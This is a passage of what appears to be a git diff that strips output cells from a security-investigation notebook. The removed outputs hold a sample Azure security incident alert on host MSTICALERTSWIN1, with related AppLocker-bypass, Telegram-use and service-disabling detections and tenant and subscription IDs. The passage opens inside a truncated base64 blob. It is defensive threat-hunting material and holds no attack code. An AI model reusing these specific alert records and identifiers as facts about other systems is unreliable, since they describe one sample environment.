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Alert: 'Security incident with shared process detected'

\n", - " Alert_time: 2019-02-11 18:10:58+00:00,\n", - " Compr_entity: MSTICALERTSWIN1,\n", - " Alert_id: 2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
0
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-12 04:59:47+00:00
AlertDisplayNameSecurity incident with shared process detected
AlertNameSecurity incident with shared process detected
SeverityHigh
DescriptionThe incident which started on 2019-02-11 18:10:58 UTC and recently detected on 2019-02-12 04:59:47 UTC indicates that an attacker has attacked other resources from your resource MSTICALERTSWIN1
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIddb29572d-7593-48c5-97b6-4d6d60ce6bf3
SystemAlertId2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeKillChainFusionIncident
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentTrue
StartTimeUtc2019-02-11 18:10:58+00:00
EndTimeUtc2019-02-11 22:47:54+00:00
ProcessingEndTime2019-02-12 04:59:47+00:00
RemediationSteps[\\r\\n \"1. Escalate the alert to the information security team.\",\\r\\n \"2. Review the remediation steps of each one of the alerts\"\\r\\n]
ExtendedProperties{'isincident': 'true', 'Detected Time (UTC)': '2019-02-12 04:59:47 UTC', 'Incident Stage': 'attacked other resources from', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-11 18:10:58 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DisplayName': 'Potential attempt to bypass AppLocker detected', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'High', 'SystemAlertIds': ['2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53'], 'AlertType': 'SCUBA_RULE_Applocker_Bypass', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T18:10:58.0905392Z', 'EndTimeUtc': '2019-02-11T18:10:58.0905392Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '5', 'DisplayName': 'Detected potentially suspicious use of Telegram tool', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67'], 'AlertType': 'SCUBA_RULE_Telegram_install', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T22:47:54.1085289Z', 'EndTimeUtc': '2019-02-11T22:47:54.1085289Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '6', 'DisplayName': 'Detected the disabling of critical services', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7'], 'AlertType': 'SCUBA_RULE_Lowering_Security_Settings', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T22:47:54.1295553Z', 'EndTimeUtc': '2019-02-11T22:47:54.1295553Z', 'Type': 'alerts', 'Location': 'Central US'}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICALERTSWIN1
src_hostnameMSTICALERTSWIN1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICALERTSWIN1

ExtendedProperties:

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0
isincidenttrue
Detected Time (UTC)2019-02-12 04:59:47 UTC
Incident Stageattacked other resources from
Compromised HostMSTICALERTSWIN1
Start Time (UTC)2019-02-11 18:10:58 UTC
crossvmfalse
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Applocker_Bypass',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Potential attempt to bypass AppLocker detected',, 'EndTimeUtc': '2019-02-11T18:10:58.0905392Z',, 'ProviderName': 'Detection',, 'Severity': 'High',, 'StartTimeUtc': '2019-02-11T18:10:58.0905392Z',, 'SystemAlertIds': ['2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Telegram_install',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Detected potentially suspicious use of Telegram tool',, 'EndTimeUtc': '2019-02-11T22:47:54.1085289Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-11T22:47:54.1085289Z',, 'SystemAlertIds': ['2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Lowering_Security_Settings',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Detected the disabling of critical services',, 'EndTimeUtc': '2019-02-11T22:47:54.1295553Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-11T22:47:54.1295553Z',, 'SystemAlertIds': ['2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", @@ -2522,7 +495,7 @@ }, { "cell_type": "code", - "execution_count": 13, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:15:11.683710Z", @@ -2530,50 +503,7 @@ }, "scrolled": true }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "2c5a4119b5b3468a857defc6a9076f1a", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "1a40936bc2964c148bbbf7d4fd5017a6", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "15c57835d9214ea4b236474b31abed6f", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='minute', origin_time=security_alert.origin_time)\n", @@ -2582,437 +512,14 @@ }, { "cell_type": "code", - "execution_count": 14, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:18:46.782959Z", "start_time": "2020-05-16T02:18:43.483058Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "b8ca3b41287e44a6b042bd773315c3a3", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(IntProgress(value=0, bar_style='info', description='Progress:'), Label(value='0%')))" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
